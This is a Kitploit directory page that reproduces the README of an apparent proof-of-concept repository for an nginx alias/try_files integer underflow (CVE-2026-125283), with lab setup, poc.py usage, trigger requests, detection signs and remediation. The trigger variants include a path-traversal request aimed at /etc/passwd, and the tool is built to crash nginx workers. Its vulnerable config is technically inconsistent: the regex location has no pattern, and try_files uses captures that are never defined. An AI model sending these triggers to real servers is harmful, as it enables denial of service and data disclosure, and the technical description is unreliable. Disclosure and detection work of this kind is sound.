Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-125283 — Python PoC for CVE-2026-125283, an nginx alias + try_files integer underflow triggered via map captures, with Docker lab, trigger variants, and detection notes. | Kitploit
Tools/GitHubGitHub/llcforge/cve-2026-125283
Web Vulnerability ScannersVulnerability AnalysisExploitationWeb Security
GitHubllcforge/cve-2026-125283

CVE-2026-125283

Python PoC for CVE-2026-125283, an nginx alias + try_files integer underflow triggered via map captures, with Docker lab, trigger variants, and detection notes.

View Repository
17h 47m agoNot yet reviewed
Share

CVE-2026-125283

nginx — alias + try_files Integer Underflow via Map Captures

CVSS CWE Language Fixed Disclosed


Overview

An integer underflow in nginx's alias + try_files path-stripping arithmetic occurs when the alias directive is set to a variable derived from a map with unnamed regex captures. When the map variable is empty (no capture match) or the URI contains empty path segments, the computed strip length wraps below zero, causing nginx to read beyond the allocated URI buffer.

FieldValue
CVECVE-2026-125283
CVSS 3.15.3 Medium — AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:L
CWECWE-191 (Integer Underflow)
Componentngx_http_alias_module + ngx_http_try_files
Affectednginx 0.9.6 – 1.31.8
Fixednginx 1.30.7 / 1.31.9
Auth RequiredNone
Disclosed2026-11-18

Vulnerability Details

When alias is set to a variable ($asset_root) derived from a map with unnamed regex captures, nginx computes the number of characters to strip from the request URI by subtracting the location prefix length from the URI length. If the map variable is empty (no capture match) or the URI contains empty path segments, the computed length wraps below zero as an unsigned integer, causing an out-of-bounds buffer read.

Vulnerable configuration pattern:

map $uri $asset_root {
    ~^/assets/([^/]+)/(.*)$ /data/$1;
}
location ~ {
    alias      $asset_root/;
    try_files  /$2 /$1/$2 /fallback.html;
}

No backend service is required — the vulnerability is triggered entirely within nginx's request-handling pipeline.


Attack Flow

flowchart LR
    A([Attacker]) -->|GET /assets//empty_segment/file\nor non-matching URI| B[nginx 1.31.8\nalias + try_files + map]
    B -->|Map: no capture match\n$asset_root = empty string| C{Path strip\narithmetic}
    C -->|uri_len - location_prefix_len\nwraps below 0| D[Integer Underflow\nOOB buffer read]
    D --> E([Worker crash DoS\nor partial info disclosure])

    style A fill:#3d1a1a,stroke:#f85149,color:#f85149
    style E fill:#1a1f2e,stroke:#f85149,color:#f85149

PoC Usage

Warning: Lab environment only. The vulnerability is triggered in nginx's request handling pipeline, no credentials required.

Setup

docker compose up -d
sleep 2

Run all trigger variants

python3 poc.py

Expected output — vulnerable nginx:

[*] target: 127.0.0.1:8080

Variant: empty_segment
  GET /assets//empty/file.js
  → Worker crash or unexpected response

Variant: no_capture_match
  GET /assets/../../etc/passwd
  → map produces empty $asset_root → underflow

Variant: boundary_length
  GET /assets/a/<URI at exact location prefix length>
  → Integer wrap: computed strip length = MAX_UINT

[!] VULNERABLE — integer underflow confirmed in alias+try_files path stripping

Individual variants

python3 poc.py --variant empty_segment
python3 poc.py --variant no_capture_match
python3 poc.py --variant boundary_length

Available flags

FlagDescription
--host HOSTnginx host (default: 127.0.0.1)
--port PORTHTTP port (default: 8080)
--variant NAMETest specific variant (default: all)
-n NRequests per variant (default: 50)
-vVerbose output

Expected output — patched build

sed -i 's/nginx:1.31.8/nginx:1.31.9/' nginx/Dockerfile
docker compose build --no-cache nginx && docker compose up -d
python3 poc.py
# All variants handled safely — 404 or fallback, no crash
# [+] NOT vulnerable

Detection

IndicatorNotes
nginx worker crash signal 11nginx error.log: "worker process exited on signal 11"
URIs with empty path segments to alias locationsAccess log: double-slash // in URI paths
Unexpected try_files path resolutionnginx debug log: try_files resolving unexpected absolute paths

Impact

Unauthenticated partial information disclosure or Denial of Service (worker crash). The OOB read may expose adjacent heap memory in the nginx worker process, though reliable exploitation requires knowledge of the memory layout. Worker crash requires only a single request.


Remediation

Upgrade to nginx 1.30.7 or 1.31.9.

ActionDetail
Upgrade nginx1.30.7 (stable) or 1.31.9 (mainline)
Avoid variable aliasUse static alias paths where possible instead of map-derived variables
Normalize URIAdd merge_slashes on and URI normalization to prevent empty segment inputs

References

  • nginx Security Advisories: https://nginx.org/en/security_advisories.html
  • CWE-191: https://cwe.mitre.org/data/definitions/191.html
  • CVE Record: https://www.cve.org/CVERecord?id=CVE-2026-125283

Disclaimer: For authorized security research and controlled lab use only. MIT License.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    279

Explore all tools

Browse our collection of tools

View all tools →